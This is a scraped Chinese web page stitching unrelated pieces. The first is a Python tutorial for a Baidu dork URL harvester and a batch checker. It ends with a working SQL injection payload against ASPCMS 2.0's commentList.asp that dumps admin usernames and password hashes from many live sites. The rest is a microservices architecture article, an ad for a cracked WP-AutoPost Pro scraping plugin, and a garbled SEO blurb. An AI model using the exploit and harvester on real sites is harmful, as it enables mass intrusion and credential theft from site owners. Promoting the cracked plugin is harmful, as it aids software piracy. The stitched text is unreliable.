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　　Python大黑闊—url采集+exp驗證，帶你批量測試
　　大家好！我是每天為大家分享好文的檸檬！與你一起成長(cháng)~
　　有需要體系化黑客滲透視頻教程可看文末哦
　　一.前言
　　最近幾天在整理從各處收集來(lái)的各種工具包，大大小小的塞滿(mǎn)了十幾個(gè)G的硬盤(pán)，無(wú)意間發(fā)現了一個(gè)好幾年前的0day。
　　心血來(lái)潮就拿去試了一下，沒(méi)想到真的還可以用，不過(guò)那些站點(diǎn)都已經(jīng)老的不像樣了，個(gè)個(gè)年久失修，手工測了幾個(gè)發(fā)現，利用率還挺可觀(guān)，于是就想配合url采集器寫(xiě)一個(gè)批量exp的腳本。
　　于是就有了今天這一文，結尾附上一枚表哥論壇的邀請碼一不小心買(mǎi)多了。先到先得哦。
　　二.開(kāi)始
　　環(huán)境,及使用模塊：
　　Python3
　　Requests
　　Beautifulsuop
　　Hashlib
　　老規矩先明確目標
　　需要編寫(xiě)一個(gè)url采集器，收集我們的目標網(wǎng)址，
　　需要將我們的exp結合在其中。
　　先看一下exp 的格式吧，大致是這樣的:
　　exp：xxx/xxx/xxx/xxx
　　百度關(guān)鍵字：xxxxxx
　　利用方式在網(wǎng)站后加上exp，直接爆出管理賬號密碼，
　　像這樣：
　　PS:后面都用這個(gè)代替我們的代碼中
　　再放個(gè)效果圖
　　沒(méi)錯就是這樣。直接出賬號密碼哈哈哈。
　　好了我們正式開(kāi)始寫(xiě)程序。
　　url采集模塊：
　　首先我們要編寫(xiě)一個(gè)基于百度搜索的url采集器。我們先來(lái)分析一下百度的搜索方式，
　　我們打開(kāi)百度，輸入搜索關(guān)鍵字 這里用芒果代替。
　　可以看到wd參數后跟著(zhù)我們的關(guān)鍵字，我們點(diǎn)擊一下第二頁(yè)看下頁(yè)碼是哪個(gè)參數在控制。
　　好的我們和前面url對比一下會(huì )發(fā)現pn參數變成了10，同理我們開(kāi)啟第三頁(yè)第四頁(yè)，發(fā)現頁(yè)碼的規律是從0開(kāi)始每一頁(yè)加10.這里我們修改pn參數為90看下是不是會(huì )到第十頁(yè)。
　　可以看到真的變成第十頁(yè)了，證明我們的想法是正確的。我們取出網(wǎng)址如下
　　芒果&pn=0
　　這里pn參數后面的東西我們可以不要，這樣就精簡(jiǎn)很多。
　　我們開(kāi)始寫(xiě)代碼。我們先需要一個(gè)main函數打開(kāi)我們的百度網(wǎng)頁(yè)，我們并利用for循環(huán)控制頁(yè)碼變量，實(shí)現打開(kāi)每一頁(yè)的內容。
　　
　　先實(shí)現打開(kāi)一頁(yè)網(wǎng)站，代碼如下
　　import requests<br />from bs4 import BeautifulSoup as bs??#這里吧模塊命名為了bs，方面我們調用。<br />def main():<br />? ?? ???url='https://www.baidu.com/s?wd=芒果&pn=0'#定義url<br />? ?? ???r=requests.get(url=url)#請求目標網(wǎng)址<br />? ?? ???soup=bs(r.content,'lxml')#利用bs解析網(wǎng)址<br />? ?? ???print soup<br /><br />if __name__ == '__main__':<br />? ? main()#調用函數main
　　我們運行一下發(fā)現返回的頁(yè)面是這樣的，并沒(méi)有我們想要的內容。
　　這是為什么，原因就是因為百度是做了反爬的，但是不用擔心，我們只要加入headers參數，一起請求就可以了。修改后代碼如下：
　　def main():<br />? ?? ???url='https://www.baidu.com/s?wd=芒果&pn=0'#定義url<br />? ?? ???headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這里百度是加了防爬機制的，需要加上user_agent驗證一下否則就會(huì )返回錯誤<br />? ?? ???r=requests.get(url=url,headers=headers)#請求目標網(wǎng)址<br />? ?? ???soup=bs(r.content,'lxml')#利用bs解析網(wǎng)址<br />? ?? ???print soup
　　這樣在運行，就可以看到成功的返回了網(wǎng)頁(yè)內容。
　　好的，我們再加上我們的循環(huán)，讓他可以遍歷每一個(gè)網(wǎng)頁(yè)。一個(gè)簡(jiǎn)單的爬蟲(chóng)就寫(xiě)好了，不過(guò)什么內容也沒(méi)爬，先附上代碼。
　　import requests<br />from bs4 import BeautifulSoup as bs??#這里吧模塊命名為了bs，方面我們調用。<br />def main():<br />? ? for i in range(0,750,10):#遍歷頁(yè)數，每次增加10<br />? ?? ???url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定義url<br />? ?? ???headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#這里百度是加了防爬機制的，需要加上user_agent驗證一下否則就會(huì )返回錯誤<br />? ?? ???r=requests.get(url=url,headers=headers)#請求目標網(wǎng)址<br />? ?? ???soup=bs(r.content,'lxml')#利用bs解析網(wǎng)址<br />? ?? ???print soup<br />if __name__ == '__main__':<br />? ? main()#調用函數main
　　我們繼續分析網(wǎng)頁(yè)，取出每一個(gè)網(wǎng)址。右鍵審查元素，查看在源代碼中的位置。
　　可以看到，我們的要取的數據，在一個(gè)名字為a的標簽中，我們用bs取出這個(gè)標簽所有內容。
　　并用循環(huán)去取出“href”屬性中的網(wǎng)址，main函數代碼如下。
　　def main():<br />? ? for i in range(0,10,10):<br />? ?? ???url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br />? ?? ???headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />? ?? ???r=requests.get(url=url,headers=headers)<br />? ?? ???soup=bs(r.content,'lxml')<br />? ?? ???urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的內容，re模塊是為了讓我們取出這個(gè)標簽的所有內容。<br />? ?? ???for url in urls:<br />? ?? ?? ?? ?print url['href']#取出href中的鏈接內容
　　這里解釋一下為什么有class：none這個(gè)語(yǔ)句，如果我們不加這一句，我們會(huì )發(fā)現我們同時(shí)也取到了百度快照的地址。
　　在快照的地址中，class屬性是有值的，但是我們真正的鏈接中，沒(méi)有class屬性，這樣我們就不會(huì )取到快照的鏈接了。
　　運行一下，成功返回我們要的鏈接
　　我們下一步就是驗證這些鏈接是否可用，因為有的網(wǎng)站雖然還可以搜索到，但是已經(jīng)打不開(kāi)了。
　　這里利用request模塊以此請求我們的鏈接，并查看返回的狀態(tài)碼是不是200，如果為兩百則說(shuō)明，網(wǎng)站是正?？梢源蜷_(kāi)的。
　　在for循環(huán)中加上如下兩行代碼，運行。
　　r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的鏈接，并設置超時(shí)時(shí)間為4秒。<br />print r_get_url.status_code
　　可以看到成功反返回了200,。接下來(lái)我們就要吧可以成功訪(fǎng)問(wèn)的網(wǎng)址的地址打印出來(lái)，并且只要網(wǎng)站的主頁(yè)網(wǎng)址。
　　我們分析一個(gè)網(wǎng)址
　　發(fā)現這里都是由“/”分割的，我們可以吧url用“/”分割，并取出我們要向的網(wǎng)址。
　　運行程序后。會(huì )發(fā)現返回這樣的網(wǎng)址，他們有一部分是帶著(zhù)目錄的。
　　我們用/分割url為列表之后，列表中的第一個(gè)為網(wǎng)站所使用協(xié)議，第三個(gè)則為我們要取的網(wǎng)址首頁(yè)。代碼如下
　　def main():<br />? ? for i in range(0,10,10):<br />? ?? ???url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br />? ?? ???headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />? ?? ???r=requests.get(url=url,headers=headers)<br />? ?? ???soup=bs(r.content,'lxml')<br />? ?? ???urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我們想要的內容，re模塊是為了讓我們取出這個(gè)標簽的所有內容。<br />? ?? ???for url in urls:<br />? ?? ?? ?? ?r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#請求抓取的鏈接，并設置超時(shí)時(shí)間為4秒。<br />? ?? ?? ?? ?if r_get_url.status_code==200:#判斷狀態(tài)碼是否為200<br />? ?? ?? ?? ?? ? url_para= r_get_url.url#獲取狀態(tài)碼為200的鏈接<br /><br />? ?? ?? ?? ?? ? url_index_tmp=url_para.split('/')#以“/”分割url<br />? ?? ?? ?? ?? ? url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#將分割后的網(wǎng)址重新拼湊成標準的格式。<br />? ?? ?? ?? ?? ? print url_index
　　運行后，成功取出我們要取的內容。
　　好的到這里我們最主要的功能就實(shí)現了，下面我們進(jìn)入我們激動(dòng)人心的時(shí)候，加入exp，批量拿站。
　　三.exp模板
　　如何實(shí)現這個(gè)功能呢，原理就是，在我們爬取的鏈接后加入我們的exp，拼接成一個(gè)完整的地址，并取出這個(gè)網(wǎng)址并保存在一個(gè)txt文本中，供我們驗證。
　　現在我們的代碼是這樣的
　　# -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br />? ? for i in range(0,10,10):<br />? ?? ???expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br />? ?? ???url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br />? ?? ???headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />? ?? ???r=requests.get(url=url,headers=headers)<br />? ?? ???soup=bs(r.content,'lxml')<br />? ?? ???urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br />? ?? ???for url in urls:<br />? ?? ?? ?? ?r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br />? ?? ?? ?? ?if r_get_url.status_code==200:<br />? ?? ?? ?? ?? ? url_para= r_get_url.url<br />? ?? ?? ?? ?? ? url_index_tmp=url_para.split('/')<br />? ?? ?? ?? ?? ? url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br />? ?? ?? ?? ?? ? with open('cs.txt') as f:<br />? ?? ?? ?? ?? ?? ???if??url_index not in f.read():#這里是一個(gè)去重的判斷，判斷網(wǎng)址是否已經(jīng)在文本中，如果不存在則打開(kāi)txt并寫(xiě)入我們拼接的exp鏈接。<br />? ?? ?? ?? ?? ?? ?? ?? ?print url_index<br />? ?? ?? ?? ?? ?? ?? ?? ?f2=open("cs.txt",'a+')<br />? ?? ?? ?? ?? ?? ?? ?? ?f2.write(url_index+expp+'\n')<br />? ?? ?? ?? ?? ?? ?? ?? ?f2.close()<br /><br />if __name__ == '__main__':<br />? ? f2=open('cs.txt','w')<br />? ? f2.close()<br />? ? main()
　　這里我把exp用xxx代替了，你們自行替換一下。放在最后了。
　　
　　運行一下我們的程序，在根目錄下，我們可以找到一個(gè)cs.txt的文本文檔，打開(kāi)之后是這樣的。
　　打碼有一點(diǎn)點(diǎn)嚴重。不過(guò)不影響，小問(wèn)題，大家理解就好了，其實(shí)到這里就結束了，我們可以手工去驗證，一條一條的去粘貼訪(fǎng)問(wèn)，查看是否有我們要的內容
　　But，我懶啊，一條一條的去驗證，何年何月了。
　　這里我們在新建一個(gè)py文件，用來(lái)驗證我們上一步抓取的鏈接，這樣我們就把兩個(gè)模塊分開(kāi)了，你們可以只用第一個(gè)url采集的功能。
　　我們的思路是這樣的，打開(kāi)我們剛才采集的鏈接，并查找網(wǎng)頁(yè)上是否有特定內容，如果有，則講次鏈接保存在一個(gè)文件中，就是我們驗證可以成功利用的鏈接。
　　我們先看一下利用成功的頁(yè)面是什么樣子的。
　　利用失敗的頁(yè)面
　　我們發(fā)現利用成功的頁(yè)面中有管理員密碼的hash，這里我們利用hashlib模塊判斷頁(yè)面中是否有MD5，如果有則打印出來(lái)，并將MD5取出來(lái)和鏈接一起保存再文本中。
　　我們先分析一下網(wǎng)站源碼，方便我們取出內容
　　可以看到網(wǎng)站非常簡(jiǎn)單，我們要取的內容分別在不同的屬性值一個(gè)為class:line1,一個(gè)為class：line2.我們只要用bs模塊取出這兩個(gè)標簽中的內容就可以了。
　　代碼如下
　　# -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br />? ? f = open("cs.txt","r")#打開(kāi)我們剛剛收集的文本文檔<br />? ? url=f.readlines()#逐行取出我們的鏈接<br />? ? for i in url:#將取出的鏈接放入循環(huán)中<br />? ?? ???try:#加入異常處理，讓報錯直接忽略，不影響程序運行<br />? ?? ?? ?? ?r=requests.get(i,timeout=5)#請求網(wǎng)址<br />? ?? ?? ?? ?if r.status_code == 200:#判斷網(wǎng)址是否可以正常打開(kāi)，可以去掉這一個(gè)，我們剛剛驗證了<br />? ?? ?? ?? ?? ? soup=bs(r.text,"lxml")#用bp解析網(wǎng)站<br />? ?? ?? ?? ?? ? if hashlib.md5:#判斷網(wǎng)址中是否有MD5，如果有繼續運行<br />? ?? ?? ?? ?? ?? ???mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#獲取line1數據<br />? ?? ?? ?? ?? ?? ???mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#獲取line2數據<br />? ?? ?? ?? ?? ?? ???f2=open('cs2.txt','a+')#打開(kāi)我們的文本<br />? ?? ?? ?? ?? ?? ???f2.write(i+"\n"+mb1+"\n")#將我們驗證好的鏈接，還有數據保存在文本中<br />? ?? ?? ?? ?? ?? ???f2.close()<br />? ?? ?? ?? ?? ?? ???print (mb1)<br />? ?? ?? ?? ?? ?? ???print (mb2)<br />? ?? ???except:<br /><br />? ?? ?? ?? ?pass<br />? ? f.close()<br />expp()
　　運行一下：
　　成功，我們看一下我們的文件。
　　完美，然后我們就可以去找后臺然后解密啦，你們懂得。
　　exp：
　　百度關(guān)鍵字：有限公司--Powered by ASPCMS 2.0<br />exp：/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
　　四.總結
　　源碼鏈接：
　　密碼：578p
　　零基礎如何入門(mén)黑客
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　　18 張圖，詳解微服務(wù)架構
　　鏈接：
　　本文將介紹微服務(wù)架構和相關(guān)的組件，介紹他們是什么以及為什么要使用微服務(wù)架構和這些組件。
　　本文側重于簡(jiǎn)明地表達微服務(wù)架構的全局圖景，因此不會(huì )涉及具體如何使用組件等細節。
　　要理解微服務(wù)，首先要先理解不是微服務(wù)的那些。通常跟微服務(wù)相對的是單體應用，即將所有功能都打包成在一個(gè)獨立單元的應用程序。
　　從單體應用到微服務(wù)并不是一蹴而就的，這是一個(gè)逐漸演變的過(guò)程。
　　本文將以一個(gè)網(wǎng)上超市應用為例來(lái)說(shuō)明這一過(guò)程。
　　最初的需求
　　幾年前，小明和小皮一起創(chuàng )業(yè)做網(wǎng)上超市，小明負責程序開(kāi)發(fā)，小皮負責其他事宜。當時(shí)互聯(lián)網(wǎng)還不發(fā)達，網(wǎng)上超市還是藍海。只要功能實(shí)現了就能隨便賺錢(qián)。
　　所以他們的需求很簡(jiǎn)單，只需要一個(gè)網(wǎng)站掛在公網(wǎng)，用戶(hù)能夠在這個(gè)網(wǎng)站上瀏覽商品、購買(mǎi)商品；另外還需一個(gè)管理后臺，可以管理商品、用戶(hù)、以及訂單數據。
　　我們整理一下功能清單：
　　管理后臺
　　由于需求簡(jiǎn)單，小明左手右手一個(gè)慢動(dòng)作，網(wǎng)站就做好了。
　　管理后臺出于安全考慮，不和網(wǎng)站做在一起，小明右手左手慢動(dòng)作重播，管理網(wǎng)站也做好了。
　　總體架構圖如下：
　　小明揮一揮手，找了家云服務(wù)部署上去，網(wǎng)站就上線(xiàn)了。上線(xiàn)后好評如潮，深受各類(lèi)肥宅喜愛(ài)。小明小皮美滋滋地開(kāi)始躺著(zhù)收錢(qián)。
　　隨著(zhù)業(yè)務(wù)發(fā)展
　　好景不長(cháng)，沒(méi)過(guò)幾天，各類(lèi)網(wǎng)上超市緊跟著(zhù)拔地而起，對小明小皮造成了強烈的沖擊。
　　在競爭的壓力下，小明小皮決定開(kāi)展一些營(yíng)銷(xiāo)手段：
　　這些活動(dòng)都需要程序開(kāi)發(fā)的支持，小明拉了同學(xué)小紅加入團隊。小紅負責數據分析以及移動(dòng)端相關(guān)開(kāi)發(fā)，小明負責促銷(xiāo)活動(dòng)相關(guān)功能的開(kāi)發(fā)。
　　因為開(kāi)發(fā)任務(wù)比較緊迫，小明小紅沒(méi)有好好規劃整個(gè)系統的架構，隨便拍了拍腦袋，決定把促銷(xiāo)管理和數據分析放在管理后臺里，微信和移動(dòng)端 APP 另外搭建。通宵了幾天后，新功能和新應用基本完工。
　　這時(shí)架構圖如下：
　　這一階段存在很多不合理的地方：
　　盡管有著(zhù)諸多問(wèn)題，但也不能否認這一階段的成果：快速地根據業(yè)務(wù)變化建設了系統。不過(guò)緊迫且繁重的任務(wù)容易使人陷入局部、短淺的思維方式，從而做出妥協(xié)式的決策。
　　在這種架構中，每個(gè)人都只關(guān)注在自己的一畝三分地，缺乏全局的、長(cháng)遠的設計。長(cháng)此以往，系統建設將會(huì )越來(lái)越困難，甚至陷入不斷推翻、重建的循環(huán)。
　　是時(shí)候做出改變了
　　幸好小明和小紅是有追求有理想的好青年。意識到問(wèn)題后，小明和小紅從瑣碎的業(yè)務(wù)需求中騰出了一部分精力，開(kāi)始梳理整體架構，針對問(wèn)題準備著(zhù)手改造。
　　
　　要做改造，首先你需要有足夠的精力和資源。如果你的需求方（業(yè)務(wù)人員、項目經(jīng)理、上司等）很強勢地一心追求需求進(jìn)度，以致于你無(wú)法挪出額外的精力和資源的話(huà)，那么你可能無(wú)法做任何事
　　在編程的世界中，最重要的便是抽象能力。微服務(wù)改造的過(guò)程實(shí)際上也是個(gè)抽象的過(guò)程。
　　小明和小紅整理了網(wǎng)上超市的業(yè)務(wù)邏輯，抽象出公用的業(yè)務(wù)能力，做成幾個(gè)公共服務(wù)：
　　各個(gè)應用后臺只需從這些服務(wù)獲取所需的數據，從而刪去了大量冗余的代碼，就剩個(gè)輕薄的控制層和前端。
　　這一階段的架構如下：
　　這個(gè)階段只是將服務(wù)分開(kāi)了，數據庫依然是共用的，所以一些煙囪式系統的缺點(diǎn)仍然存在：
　　如果一直保持共用數據庫的模式，則整個(gè)架構會(huì )越來(lái)越僵化，失去了微服務(wù)架構的意義。
　　因此小明和小紅一鼓作氣，把數據庫也拆分了。所有持久化層相互隔離，由各個(gè)服務(wù)自己負責。另外，為了提高系統的實(shí)時(shí)性，加入了消息隊列機制。
　　架構如下：
　　完全拆分后各個(gè)服務(wù)可以采用異構的技術(shù)。比如數據分析服務(wù)可以使用數據倉庫作為持久化層，以便于高效地做一些統計計算；商品服務(wù)和促銷(xiāo)服務(wù)訪(fǎng)問(wèn)頻率比較大，因此加入了緩存機制等。
　　還有一種抽象出公共邏輯的方法是把這些公共邏輯做成公共的框架庫。這種方法可以減少服務(wù)調用的性能損耗。但是這種方法的管理成本非常高昂，很難保證所有應用版本的一致性。
　　數據庫拆分也有一些問(wèn)題和挑戰：比如說(shuō)跨庫級聯(lián)的需求，通過(guò)服務(wù)查詢(xún)數據顆粒度的粗細問(wèn)題等。但是這些問(wèn)題可以通過(guò)合理的設計來(lái)解決?？傮w來(lái)說(shuō)，數據庫拆分是一個(gè)利大于弊的。
　　微服務(wù)架構還有一個(gè)技術(shù)外的好處，它使整個(gè)系統的分工更加明確，責任更加清晰，每個(gè)人專(zhuān)心負責為其他人提供更好的服務(wù)。
　　在單體應用的時(shí)代，公共的業(yè)務(wù)功能經(jīng)常沒(méi)有明確的歸屬。最后要么各做各的，每個(gè)人都重新實(shí)現了一遍；要么是隨機一個(gè)人（一般是能力比較強或者比較熱心的人）做到他負責的應用里面。
　　在后者的情況下，這個(gè)人在負責自己應用之外，還要額外負責給別人提供這些公共的功能——而這個(gè)功能本來(lái)是無(wú)人負責的，僅僅因為他能力較強/比較熱心，就莫名地背鍋（這種情況還被美其名曰能者多勞）。
　　結果最后大家都不愿意提供公共的功能。長(cháng)此以往，團隊里的人漸漸變得各自為政，不再關(guān)心全局的架構設計。
　　從這個(gè)角度上看，使用微服務(wù)架構同時(shí)也需要組織結構做相應的調整。所以說(shuō)做微服務(wù)改造需要管理者的支持。
　　改造完成后，小明和小紅分清楚各自的鍋。兩人十分滿(mǎn)意，一切就像是麥克斯韋方程組一樣漂亮完美。
　　然而……
　　沒(méi)有銀彈
　　春天來(lái)了，萬(wàn)物復蘇，又到了一年一度的購物狂歡節。眼看著(zhù)日訂單數量蹭蹭地上漲，小皮小明小紅喜笑顏開(kāi)。
　　可惜好景不長(cháng)，樂(lè )極生悲，突然嘣的一下，系統掛了。
　　以往單體應用，排查問(wèn)題通常是看一下日志，研究錯誤信息和調用堆棧。而微服務(wù)架構整個(gè)應用分散成多個(gè)服務(wù)，定位故障點(diǎn)非常困難。
　　小明一個(gè)臺機器一臺機器地查看日志，一個(gè)服務(wù)一個(gè)服務(wù)地手工調用。經(jīng)過(guò)十幾分鐘的查找，小明終于定位到故障點(diǎn)：促銷(xiāo)服務(wù)由于接收的請求量太大而停止響應了。其他服務(wù)都直接或間接地會(huì )調用促銷(xiāo)服務(wù)，于是也跟著(zhù)宕機了。
　　在微服務(wù)架構中，一個(gè)服務(wù)故障可能會(huì )產(chǎn)生雪崩效用，導致整個(gè)系統故障。
　　其實(shí)在節前，小明和小紅是有做過(guò)請求量評估的。按照預計，服務(wù)器資源是足以支持節日的請求量的，所以肯定是哪里出了問(wèn)題。
　　不過(guò)形勢緊急，隨著(zhù)每一分每一秒流逝的都是白花花的銀子，因此小明也沒(méi)時(shí)間排查問(wèn)題，當機立斷在云上新建了幾臺虛擬機，然后一臺一臺地部署新的促銷(xiāo)服務(wù)節點(diǎn)。
　　
　　幾分鐘的操作后，系統總算是勉強恢復正常了。整個(gè)故障時(shí)間內估計損失了幾十萬(wàn)的銷(xiāo)售額，三人的心在滴血。
　　事后，小明簡(jiǎn)單寫(xiě)了個(gè)日志分析工具（量太大了，文本編輯器幾乎打不開(kāi)，打開(kāi)了肉眼也看不過(guò)來(lái)），統計了促銷(xiāo)服務(wù)的訪(fǎng)問(wèn)日志，發(fā)現在故障期間，商品服務(wù)由于代碼問(wèn)題，在某些場(chǎng)景下會(huì )對促銷(xiāo)服務(wù)發(fā)起大量請求。
　　這個(gè)問(wèn)題并不復雜，小明手指抖一抖，修復了這個(gè)價(jià)值幾十萬(wàn)的 Bug。
　　問(wèn)題是解決了，但誰(shuí)也無(wú)法保證不會(huì )再發(fā)生類(lèi)似的其他問(wèn)題。微服務(wù)架構雖然邏輯設計上看是完美的，但就像積木搭建的華麗宮殿一樣，經(jīng)不起風(fēng)吹草動(dòng)。微服務(wù)架構雖然解決了舊問(wèn)題，也引入了新的問(wèn)題：
　　小明小紅痛定思痛，決心好好解決這些問(wèn)題。對故障的處理一般從兩方面入手，一方面盡量減少故障發(fā)生的概率，另一方面降低故障造成的影響。
　　監控 - 發(fā)現故障的征兆
　　在高并發(fā)分布式的場(chǎng)景下，故障經(jīng)常是突然間就雪崩式爆發(fā)。所以必須建立完善的監控體系，盡可能發(fā)現故障的征兆。
　　微服務(wù)架構中組件繁多，各個(gè)組件所需要監控的指標不同。比如 Redis 緩存一般監控占用內存值、網(wǎng)絡(luò )流量，數據庫監控連接數、磁盤(pán)空間，業(yè)務(wù)服務(wù)監控并發(fā)數、響應延遲、錯誤率等。
　　因此如果做一個(gè)大而全的監控系統來(lái)監控各個(gè)組件是不大現實(shí)的，而且擴展性會(huì )很差。一般的做法是讓各個(gè)組件提供報告自己當前狀態(tài)的接口（metrics接口），這個(gè)接口輸出的數據格式應該是一致的。
　　然后部署一個(gè)指標采集器組件，定時(shí)從這些接口獲取并保持組件狀態(tài)，同時(shí)提供查詢(xún)服務(wù)。
　　最后還需要一個(gè) UI，從指標采集器查詢(xún)各項指標，繪制監控界面或者根據閾值發(fā)出告警。
　　大部分組件都不需要自己動(dòng)手開(kāi)發(fā)，網(wǎng)絡(luò )上有開(kāi)源組件。小明下載了 RedisExporter 和 MySQLExporter，這兩個(gè)組件分別提供了 Redis 緩存和 MySQL 數據庫的指標接口。
　　微服務(wù)則根據各個(gè)服務(wù)的業(yè)務(wù)邏輯實(shí)現自定義的指標接口。
　　然后小明采用 Prometheus 作為指標采集器，Grafana 配置監控界面和郵件告警。
　　這樣一套微服務(wù)監控系統就搭建起來(lái)了：
　　定位問(wèn)題 - 鏈路跟蹤
　　在微服務(wù)架構下，一個(gè)用戶(hù)的請求往往涉及多個(gè)內部服務(wù)調用。為了方便定位問(wèn)題，需要能夠記錄每個(gè)用戶(hù)請求時(shí)，微服務(wù)內部產(chǎn)生了多少服務(wù)調用，及其調用關(guān)系。這個(gè)叫做鏈路跟蹤。
　　我們用一個(gè) Istio 文檔里的鏈路跟蹤例子來(lái)看看效果：
　　從圖中可以看到，這是一個(gè)用戶(hù)訪(fǎng)問(wèn) productpage 頁(yè)面的請求。在請求過(guò)程中，productpage 服務(wù)順序調用了 details 和 reviews 服務(wù)的接口。
　　而 reviews 服務(wù)在響應過(guò)程中又調用了 ratings 的接口。整個(gè)鏈路跟蹤的記錄是一棵樹(shù)：
　　要實(shí)現鏈路跟蹤，每次服務(wù)調用會(huì )在 HTTP 的 HEADERS 中記錄至少記錄四項數據：
　　另外，還需要調用日志收集與存儲的組件，以及展示鏈路調用的UI組件。
　　以上只是一個(gè)極簡(jiǎn)的說(shuō)明，關(guān)于鏈路跟蹤的理論依據可詳見(jiàn) Google 的 Dapper。
　　了解了理論基礎后，小明選用了 Dapper 的一個(gè)開(kāi)源實(shí)現 Zipkin。然后手指一抖，寫(xiě)了個(gè) HTTP 請求的攔截器，在每次 HTTP 請求時(shí)生成這些數據注入到 HEADERS，同時(shí)異步發(fā)送調用日志到 Zipkin 的日志收集器中。 查看全部

　　WordPress自動(dòng)采集插件AutoPost
　　WordPress有一款插件自動(dòng)采集插件叫AutoPost還有的稱(chēng)呼AutoPostPro反正就是叫來(lái)叫去官方收費的…
　　wordpress中文采集wp-autopost pro 3.7.8或者3-7.7都有 想要工具的采集交流或者代寫(xiě)規則聯(lián)系v?:AutoPostPro
　　?
　　采集插件適用對象
　　1、剛建的wordpress站點(diǎn)內容比較少，希望盡快有比較豐富的內容；
　　2、熱點(diǎn)內容自動(dòng)采集并自動(dòng)發(fā)布；
　　3、定時(shí)采集，手動(dòng)采集發(fā)布或保存到草稿；
　　4、css樣式規則，能更精確的采集需要的內容。
　　5、偽原創(chuàng )與翻譯、代理IP進(jìn)行采集、保存Cookie記錄；
　　
　　6、可采集內容到自定義欄目
　　7、解決部分用戶(hù)使用3.6.1版本導致整站后臺與前臺卡頓的問(wèn)題！
　　----此版本與官方的功能沒(méi)有任何區別；
　　WP-AutoPost Pro 在采集方面有什么優(yōu)勢？
　　一、安裝方便，全自動(dòng)采集，實(shí)現無(wú)人值守
　　WP-AutoPost 可以直接在后臺插件面板上傳安裝，只需要點(diǎn)擊幾下，就可以激活使用。激活后，你可以看到 WP-AutoPost 的管理面板被集成在了左側，各種采集規則設置一目了然，即便是 WordPress 新手也能很快上手。等到配置完采集規則后，即可以開(kāi)啟任務(wù)，WP-AutoPost 會(huì )自動(dòng)采集好目標站的內容，自動(dòng)發(fā)布到你的網(wǎng)站里。
　　二、采集規則配置簡(jiǎn)單，支持通配符和 CSS，完美支持 WordPress 各種功能
　　相比于優(yōu)采云采集器的繁瑣規則，WP-AutoPost Pro 真正做到了人性化，它的定向采集只需要提供文章列表 URL 即可智能采集來(lái)自于任何網(wǎng)站或欄目的內容。支持采集標題，正文，可自動(dòng)設置分類(lèi)目錄、標簽、摘要、特色圖片，支持自定義欄目、自定義文章類(lèi)型等。
　　三、中英文翻譯，偽原創(chuàng )的支持
　　相信很多站長(cháng)有偽原創(chuàng )這方面的需求，來(lái)迎合搜索引擎的喜好。WP-AutoPost Pro 巧妙的內置了各種偽原創(chuàng )工具，支持百度翻譯（需要配置接口），也支持國外最優(yōu)秀偽原創(chuàng )工具 WordAi，Spin Rewriter 等。
　　四、支持圖片等附件下載，支持添加水印，支持 Flick、七牛云等第三方圖片存儲
　　
　　WP-AutoPost Pro 還有個(gè)令人稱(chēng)贊的地方是支持遠程圖片下載到本地服務(wù)器，也可以下載到像 Flick、七牛云等第三方圖片存儲，并且可以為圖片加上水?。ㄎ谋舅『蛨D片水?。?。
　　五、強大的 SEO 設置選項
　　像優(yōu)采云一樣，WP-AutoPost 采集插件也支持 HTML 標簽過(guò)濾，關(guān)鍵詞替換，自動(dòng)添加鏈接，添加自定義內容，自定義文章樣式等，最大限度得使采集的內容區別于原網(wǎng)站的內容，利于搜索引擎排名。
　　附加：
　　WP-AutoPost Pro V3.7.8
　　特別說(shuō)明：
　　1. 本插件是基于 WP-AutoPost Pro對應版本破解修復版，耗費了店主的大量時(shí)間與精力。
　　2.本版本主要修復了：規則正確后采集找不到文章內容和標題（采集整版二次驗證問(wèn)題），翻譯功能無(wú)法使用的問(wèn)題。
　　3.不要說(shuō)買(mǎi)完用不了(不提供技術(shù)支持，插件官網(wǎng)有教程)，建議有基礎知識的朋友購買(mǎi)。
　　?詳細使用教程 查看全部

　　網(wǎng)站內容采集器上百度是常事，原因很簡(jiǎn)單
　　網(wǎng)站內容采集器上百度是常事，原因一是用戶(hù)習慣所致，比如搜索法律不健全、大城市等，就會(huì )搜索法律及大城市類(lèi)網(wǎng)站。二是出于效率考慮，中小企業(yè)網(wǎng)站內容采集是很常見(jiàn)的情況。
　　你們覺(jué)得自己網(wǎng)站不重要，不能給他們帶來(lái)利益，就這么簡(jiǎn)單，要是有人能抓到這些就沒(méi)工夫去做了。
　　新三板上市公司直接弄個(gè)網(wǎng)站讓他們找投資人。
　　原因很簡(jiǎn)單，就是少寫(xiě)外鏈。誰(shuí)需要看你的內容。
